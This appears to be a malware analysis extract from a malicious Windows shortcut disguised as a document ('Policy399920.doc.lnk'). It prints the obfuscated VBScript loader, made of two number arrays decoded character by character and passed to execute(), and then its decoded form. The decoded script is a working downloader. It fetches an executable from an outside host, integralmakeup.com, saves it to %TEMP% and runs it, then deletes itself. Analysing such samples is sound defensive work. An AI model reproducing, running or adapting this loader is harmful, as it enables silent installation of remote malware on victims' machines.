# extract from LNK - RAW using cmd:
# findstr "oWROU.*" Policy399920.doc.lnk

oWROUxHCZaJoaHRIUKFm = array(341, 339, 262, 334, 343, 342, 339, 342, 263, 346, 329, 348, 353, 341, 329, 260, 338, 335, 354, 350, 245, 242, 349, 337, 349, 266, 319, 351, 336, 317, 338, 336, 339, 342, 266, 294, 266, 298, 350, 330, 329, 345, 335, 311, 334, 336, 331, 329, 352, 270, 270, 321, 314, 332, 346, 335, 345, 351, 278, 312, 333, 335, 336, 344, 266, 275, 249, 245, 316, 334, 344, 264, 298, 317, 311, 263, 289, 267, 299, 343, 330, 333, 351, 336, 310, 332, 342, 336, 327, 352, 268, 268, 312, 334, 343, 334, 342, 349, 341, 346, 333, 280, 299, 333, 336, 330, 315, 357, 350, 344, 330, 343, 312, 326, 339, 333, 335, 348, 268, 275, 248, 239, 312, 326, 352, 340, 265, 293, 268, 320, 350, 335, 313, 334, 329, 344, 339, 282, 305, 352, 344, 329, 338, 328, 299, 346, 350, 335, 345, 344, 342, 345, 337, 345, 352, 318, 351, 349, 333, 339, 331, 343, 276, 267, 272, 313, 297, 307, 316, 267, 270, 276, 264, 267, 266, 270, 328, 305, 330, 333, 331, 334, 346, 343, 336, 275, 349, 346, 339, 263, 243, 246, 350, 329, 346, 262, 343, 314, 343, 343, 309, 337, 343, 336, 263, 295, 268, 321, 349, 332, 311, 334, 336, 338, 340, 278, 300, 346, 331, 329, 351, 336, 317, 332, 347, 350, 345, 334, 350, 344, 275, 316, 328, 351, 332, 271, 244, 246, 342, 315, 344, 343, 304, 337, 343, 338, 275, 319, 333, 343, 335, 333, 350, 313, 326, 348, 336, 261, 293, 268, 267, 337, 351, 347, 340, 347, 291, 279, 283, 336, 329, 331, 335, 330, 344, 339, 343, 274, 330, 345, 338, 264, 244, 246, 342, 315, 343, 338, 306, 340, 344, 335, 281, 316, 330, 348, 334, 276, 313, 274, 246, 244, 334, 336, 267, 262, 269, 300, 312, 307, 281, 306, 334, 338, 337, 301, 350, 338, 348, 347, 344, 270, 314, 330, 351, 339, 270, 275, 267, 263, 314, 340, 334, 344, 268, 248, 242, 319, 316, 334, 349, 334, 341, 351, 282, 300, 330, 336, 345, 262, 270, 304, 343, 348, 346, 344, 268, 262, 248, 244, 336, 336, 349, 329, 244, 243, 300, 339, 343, 263, 349, 338, 338, 273, 348, 344, 274, 336, 334, 277, 332, 335, 343, 336, 340, 330, 345, 336, 274, 321, 313, 305, 244, 240, 355, 341, 339, 260, 293, 266, 265, 307, 311, 324, 313, 311, 280, 274, 312, 330, 348, 349, 330, 343, 316, 307, 312, 300, 320, 319, 314, 278, 283, 276, 279, 264, 248, 246, 347, 351, 264, 294, 263, 265, 318, 315, 328, 350, 335, 345, 348, 276, 318, 334, 337, 343, 337, 263, 245, 242, 329, 333, 263, 293, 268, 262, 299, 331, 344, 334, 332, 282, 314, 348, 347, 329, 328, 341, 266, 244, 246, 318, 330, 350, 263, 354, 350, 333, 350, 264, 296, 260, 328, 350, 336, 329, 345, 332, 342, 333, 339, 332, 334, 352, 273, 350, 351, 274, 241, 242, 330, 339, 342, 335, 340, 330, 350, 336, 264, 295, 267, 351, 349, 332, 351, 281, 299, 351, 347, 329, 340, 328, 304, 343, 353, 338, 350, 342, 340, 338, 335, 346, 349, 319, 346, 343, 334, 341, 339, 343, 269, 266, 270, 312, 297, 312, 314, 273, 265, 269, 267, 268, 262, 263, 324, 314, 322, 311, 354, 312, 303, 330, 311, 277, 331, 354, 332, 266, 243, 239, 313, 317, 305, 261, 297, 261, 270, 338, 350, 352, 342, 344, 291, 282, 276, 337, 343, 348, 336, 333, 344, 331, 343, 345, 329, 338, 334, 352, 346, 278, 329, 342, 340, 277, 338, 328, 337, 346, 274, 347, 340, 340, 267, 245, 245, 330, 338, 331, 265, 335, 336, 248, 244, 241, 245, 299, 332, 340, 344, 261, 347, 345, 341, 332, 249, 239, 263, 344, 353, 330, 262, 344, 348, 340, 336, 249, 239, 262, 267, 268, 263, 333, 334, 339, 267, 343, 347, 351, 343, 337, 292, 262, 314, 329, 352, 268, 337, 351, 350, 339, 344, 265, 295, 261, 327, 347, 336, 325, 347, 331, 341, 332, 336, 329, 330, 347, 270, 352, 343, 343, 272, 249, 241, 262, 261, 265, 263, 336, 339, 337, 261, 345, 352, 347, 331, 332, 339, 293, 264, 319, 329, 344, 262, 349, 347, 344, 336, 332, 342, 264, 293, 260, 334, 345, 331, 330, 350, 337, 341, 329, 335, 330, 332, 345, 276, 330, 332, 269, 244, 243, 261, 260, 267, 267, 345, 346, 354, 342, 336, 278, 313, 348, 333, 340, 262, 262, 306, 299, 317, 264, 279, 265, 318, 315, 312, 277, 263, 305, 333, 344, 347, 332, 243, 241, 240, 341, 351, 348, 343, 341, 277, 312, 330, 349, 318, 336, 349, 348, 333, 351, 350, 305, 334, 333, 328, 330, 347, 263, 270, 314, 351, 336, 350, 277, 293, 337, 332, 339, 347, 269, 274, 268, 263, 322, 317, 301, 333, 313, 313, 315, 352, 310, 343, 343, 320, 312, 342, 330, 306, 348, 318, 318, 303, 342, 325, 317, 294, 308, 353, 304, 350, 313, 340, 262, 248, 242, 241, 345, 345, 350, 341, 340, 279, 317, 335, 339, 329, 247, 246, 262, 262, 262, 260, 350, 340, 351, 334, 264, 348, 345, 343, 332, 332, 337, 241, 242, 267, 267, 267, 266, 260, 266, 279, 346, 356, 342, 337, 264, 295, 267, 282, 248, 240, 267, 268, 263, 265, 263, 263, 277, 340, 340, 332, 339, 247, 239, 265, 266, 265, 262, 268, 260, 279, 352, 346, 341, 351, 337, 268, 344, 345, 349, 337, 341, 275, 350, 334, 346, 345, 340, 341, 351, 330, 301, 344, 336, 354, 245, 241, 263, 263, 264, 267, 266, 261, 275, 346, 333, 353, 334, 347, 342, 336, 341, 339, 329, 262, 333, 339, 339, 337, 342, 328, 348, 340, 277, 265, 286, 244, 242, 243, 337, 345, 332, 267, 355, 336, 352, 335, 248, 241, 260, 354, 351, 340, 347, 279, 302, 349, 336, 334, 271, 334, 333, 341, 336, 347, 333, 352, 332, 277, 244, 243, 268, 329, 345, 335, 266, 344, 353, 332, 242, 246, 298, 319, 314, 274, 299, 330, 351, 300, 333, 343, 332, 269, 322, 313, 330, 346, 338, 342, 346, 275, 314, 328, 349, 339, 344, 346, 298, 350, 340, 339, 310, 331, 339, 332, 276, 280, 335, 337, 339, 336, 344, 329) : NCunosgToPFUeupdOIvn = array(230, 229, 230, 233, 229, 228, 228, 228, 231, 232, 228, 233, 236, 232, 228, 228, 228, 234, 234, 234, 232, 232, 234, 236, 233, 234, 232, 236, 232, 234, 234, 235, 231, 234, 234, 233, 234, 231, 236, 229, 232, 229, 234, 232, 236, 230, 230, 230, 236, 230, 236, 234, 231, 233, 232, 230, 233, 235, 232, 229, 229, 234, 228, 236, 232, 234, 236, 235, 233, 233, 228, 232, 228, 234, 232, 231, 228, 235, 232, 229, 229, 236, 235, 235, 231, 234, 236, 235, 228, 236, 228, 234, 229, 235, 229, 229, 230, 233, 236, 236, 230, 234, 229, 228, 228, 229, 232, 236, 235, 228, 229, 234, 233, 228, 233, 232, 236, 232, 234, 234, 235, 229, 232, 229, 236, 236, 233, 232, 236, 233, 235, 231, 230, 230, 228, 236, 231, 236, 236, 232, 232, 232, 228, 228, 230, 236, 232, 230, 231, 233, 232, 236, 236, 235, 236, 235, 235, 235, 228, 229, 228, 228, 236, 233, 235, 229, 228, 230, 236, 230, 236, 235, 232, 229, 234, 236, 236, 235, 233, 234, 230, 236, 235, 232, 229, 229, 232, 232, 231, 229, 230, 236, 235, 228, 230, 230, 232, 229, 229, 235, 233, 232, 233, 229, 231, 234, 236, 234, 234, 228, 228, 230, 235, 230, 232, 232, 233, 232, 230, 232, 235, 235, 234, 228, 236, 236, 229, 235, 233, 228, 235, 236, 231, 235, 228, 230, 231, 236, 231, 230, 230, 235, 228, 232, 233, 231, 229, 235, 236, 229, 232, 232, 234, 233, 229, 232, 232, 229, 232, 236, 233, 233, 235, 231, 228, 232, 233, 232, 236, 234, 232, 232, 234, 232, 233, 228, 236, 228, 231, 234, 229, 230, 231, 236, 231, 230, 229, 230, 230, 235, 234, 228, 235, 233, 233, 230, 233, 236, 230, 233, 233, 234, 229, 234, 235, 230, 229, 230, 229, 228, 235, 236, 229, 230, 236, 232, 230, 233, 233, 231, 229, 230, 234, 233, 235, 235, 229, 234, 235, 231, 230, 236, 233, 234, 236, 235, 232, 232, 233, 235, 235, 229, 229, 235, 236, 231, 231, 232, 234, 230, 236, 235, 229, 234, 235, 230, 235, 228, 235, 234, 235, 228, 234, 228, 231, 233, 232, 234, 234, 231, 229, 229, 230, 229, 229, 229, 230, 236, 236, 233, 230, 230, 235, 235, 228, 233, 229, 232, 230, 236, 231, 229, 231, 230, 235, 232, 231, 228, 232, 234, 231, 230, 228, 236, 236, 235, 230, 228, 229, 229, 234, 231, 229, 229, 228, 230, 236, 228, 236, 235, 234, 232, 232, 230, 231, 230, 235, 236, 228, 236, 232, 233, 231, 231, 231, 232, 229, 236, 230, 233, 232, 230, 235, 230, 236, 235, 229, 229, 232, 232, 229, 235, 231, 232, 236, 228, 234, 231, 233, 234, 234, 236, 231, 232, 233, 228, 231, 232, 232, 231, 236, 235, 229, 234, 231, 235, 235, 229, 235, 232, 235, 228, 229, 236, 235, 232, 229, 231, 231, 235, 233, 231, 235, 236, 233, 231, 236, 233, 228, 232, 228, 234, 234, 234, 228, 233, 234, 232, 232, 234, 235, 232, 234, 228, 236, 235, 230, 231, 235, 232, 230, 228, 235, 233, 235, 233, 236, 231, 230, 229, 234, 236, 233, 236, 230, 229, 229, 231, 236, 228, 229, 232, 233, 228, 228, 235, 234, 236, 231, 228, 235, 230, 230, 229, 232, 234, 236, 235, 236, 232, 234, 230, 232, 231, 230, 234, 231, 232, 230, 229, 228, 235, 229, 229, 236, 229, 236, 234, 234, 236, 230, 229, 233, 235, 229, 232, 233, 232, 235, 230, 230, 234, 235, 236, 232, 231, 233, 235, 234, 232, 230, 231, 231, 230, 229, 231, 232, 236, 228, 235, 236, 228, 233, 232, 235, 229, 228, 231, 233, 230, 234, 235, 234, 228, 235, 232, 235, 232, 236, 229, 235, 231, 230, 229, 236, 229, 231, 229, 236, 232, 230, 232, 234, 229, 233, 236, 229, 230, 235, 236, 231, 233, 229, 230, 235, 234, 232, 231, 234, 229, 234, 230, 231, 228, 236, 236, 228, 236, 230, 230, 236, 233, 234, 229, 228, 233, 235, 228, 231, 230, 230, 234, 230, 228, 231, 231, 230, 232, 234, 235, 231, 236, 231, 230, 229, 233, 231, 236, 234, 228, 229, 230, 236, 233, 230, 235, 230, 235, 232, 236, 228, 228, 230, 234, 231, 230, 235, 235, 233, 232, 232, 228, 235, 231, 230, 233, 234, 236, 230, 231, 229, 229, 233, 229, 236, 230, 234, 228, 231, 233, 229, 228, 235, 235, 236, 231, 234, 233, 228, 232, 234, 236, 232, 230, 230, 228, 235, 230, 233, 230, 235, 233, 233, 233, 236, 233, 231, 235, 236, 236, 232, 231, 230, 231, 231, 232, 236, 228, 234, 233, 231, 229, 229, 233, 236, 235, 236, 231, 232, 236, 234, 233, 233, 236, 228, 229, 233, 231, 236, 229, 236, 235, 236, 232, 228, 234, 231, 229, 231, 235, 230, 236, 229, 233, 232, 233, 233, 229, 236, 228, 233, 232, 232, 235, 235, 232, 235, 229, 236, 231, 230, 230, 233, 228, 235, 234, 228, 234, 231, 234, 228, 228, 234, 228, 235, 232, 232, 236, 230, 230, 232, 232, 233, 234, 234, 229, 229, 234, 236, 230, 230, 230, 228, 231, 235, 235, 230, 232, 233, 229, 229, 231, 235, 228, 228, 232, 235, 235, 235, 234, 228, 234, 233, 230, 235, 230, 236, 232, 234, 235, 233, 235, 230, 235, 236, 231, 233, 231, 231, 231, 229, 228, 231, 229, 234, 229, 233, 234, 233, 230, 236, 228, 233, 233, 232, 236, 235, 236, 236, 235, 230, 229, 228, 233, 229, 236, 233, 231, 233, 229, 231, 236, 229, 235, 233, 236, 233, 232, 231, 231, 231, 232, 235, 234, 229, 229, 231, 236, 235, 233, 231, 231, 234, 236, 231, 228, 230, 231, 234, 231, 236, 230, 231, 232, 236, 233, 233, 236, 231, 232, 234, 236, 235, 232, 235, 236, 231, 236, 231, 235, 231, 228, 235, 236, 236, 232, 233, 233, 229, 235, 235, 231, 232, 228, 233, 235, 235, 236, 236, 228, 236, 231, 233, 236, 228, 235, 235, 234, 229, 236, 234, 229, 236, 228, 236, 235, 228, 228, 229, 235, 230, 228, 235, 231, 229, 235, 230, 231, 232, 233, 230, 230, 229, 231, 229, 235, 234, 232, 230, 228, 233, 232, 231, 232, 234, 230, 231, 235, 234, 235, 236, 231, 235, 228, 228) : for noulpuRtSTvTUbdfUZrX = lbound(oWROUxHCZaJoaHRIUKFm) to ubound(NCunosgToPFUeupdOIvn) : UvSpiaqgtGHiXUzWrRGv = UvSpiaqgtGHiXUzWrRGv & chr(int(oWROUxHCZaJoaHRIUKFm(noulpuRtSTvTUbdfUZrX) - NCunosgToPFUeupdOIvn(noulpuRtSTvTUbdfUZrX))) : next : execute(UvSpiaqgtGHiXUzWrRGv)

# extract from LNK - decoded

on error resume next

set WshShell = CreateObject("WScript.Shell")

Set FSO = CreateObject("Scripting.FileSystemObject")

Path = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\Facebook.url

set oUrlLink = WshShell.CreateShortcut(Path)

oUrlLink.TargetPath = "https://facebook.com

oUrlLink.Save(S)

if  (FSO.FileExists(Path))  Then 

WScript.Echo "Error!

else

Dim xml,ws,db,filepath,URL

xml = "MSXML2.ServerXMLHTTP.3.0

ws = "WScript.Shell

db = "Adodb.Stream

Set wshs = createobject(ws)

filepath = wshs.ExpandEnvironmentStrings("%TEMP%") & "\PVLvPEdO.exe

URL = "https://integralmakeup.com/main.php

end if



Call prog

 sub prog

    dim msxml: Set msxml = createobject(xml)

    dim stream: Set stream = createobject(db)

    msxml.Open "GET", URL, False

msxml.SetRequestHeader "User-Agent", "YUDdTMWwNolUPkeFuXXFrZSBJzFzUj"

msxml.Send

    with stream

      .type = 1

      .open

      .write msxml.responseBody

      .savetofile filepath, 2

end with

 wshs.Exec(filepath)

 end sub

FSO.GetFile(WScript.ScriptFullName).delete